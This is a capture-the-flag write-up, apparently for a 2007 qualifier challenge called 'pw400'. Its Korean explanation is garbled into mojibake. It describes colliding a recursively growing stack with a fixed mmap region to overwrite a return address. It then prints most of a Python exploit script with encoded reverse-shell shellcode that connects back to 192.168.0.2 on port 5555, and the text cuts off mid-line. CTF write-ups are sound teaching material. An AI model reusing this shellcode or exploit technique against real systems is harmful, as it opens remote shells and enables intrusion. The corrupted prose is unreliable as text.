ÀÌ ¹®Á¦ÀÇ ÇÙ½É Æ÷ÀÎÆ®´Â ´ÙÀ½°ú °°½À´Ï´Ù. 1) recursive call operation 2) mmap() operation °íÁ¤µÈ ÁÖ¼Ò 0xbfbdf000 ¿¡ mmap() À» ÅëÇØ 0x1000 size ¸¸Å­ ÀâÀº µÚ recvÇÑ ³»¿ëÀ» 0x1000 ¸¸Å­ ±â·ÏÇÔ ÇÏÁö¸¸ ¿©±â¼­ °íÁ¤µÈ ÁÖ¼Ò 0xbfbdf000ÀÌ stack esp ¿¡ ºñÇÏ¿© ±×¸® ³ôÁö ¾ÊÀº °÷¿¡ ÀÖ´Ù´Â °ÍÀ» ¾Ë ¼ö ÀÖ°í ¶ÇÇÑ recursive callÀ» ÅëÇØ °è¼ÓÇØ¼­ stackÀ» ½×¾Æ°¡´Ùº¸¸é (ÇÑ ¹ø¿¡ 0x500 Á¤µµ) ¾î´À ¼ø°£ stack esp °ª°ú mmapÀÇ base°¡ °ãÃÄÁø´Ù´Â °ÍÀ» ÁüÀÛÇÒ ¼ö ÀÖ½À´Ï´Ù. À̸¦ ÅëÇØ RET °ªÀ» µ¤¾î ¾º¿ï ¼ö ÀÖ½À´Ï´Ù. exploitÀº ´ÙÀ½°ú °°½À´Ï´Ù. =========================================================================== $ cat pw400.py #! /usr/local/bin/python import struct import socket import time host = "quals07.allyourboxarebelongto.us" port = 4455 # scode ´Â reverse shell ·Î ÀÛ¼ºµÇ¾úÀ¸¸ç ÇöÀç 192.168.0.2·Î connect back ÇÏ°Ô µÇ¾îÀÖÀ½ #/* bsdi_ia32_reverse - LHOST=192.168.0.2 LPORT=5555 Size=104 Encoder=PexFnstenvSub http://metasploit.com */ scode = "\x33\xc9\x83\xe9\xec\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x3e" scode += "\xe2\xa7\xc7\x83\xeb\xfc\xe2\xf4\xb7\x07\xcf\xc7\x39\xe2\x64\x7f" scode += "\xa4\xe2\xa7\xc7\xa7\xb2\x2e\x21\x6c\xa0\xf5\x85\x6c\x88\xc6\x9f" scode += "\xc1\x34\x30\xaf\xfe\x4a\xa7\xc5\x56\xf2\xa5\xd2\x8d\x6b\x44\xad" scode += "\x2e\xb1\xf0\xad\x5c\xba\x58\x11\x8e\xb8\xf5\x90\xc1\x34\xed\xbe" scode += "\xc9\xb2\xcf\xe8\x11\x91\xcf\xaf\x11\x80\xce\xa9\xb7\x01\xf7\x93" scode += "\x6d\x52\x9c\x38\xe8\xe2\xa7\xc7" MAP_BASE = 0xbfbdf000 # mmap base ÁÖ¼Ò ##########################################################3 def attack(num): sfd = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sfd.connect( (host, port)) sfd.settimeout(1) ######################################## # Recursive operation À» À§ÇÑ stub buffer bufRec1 = struct.pack("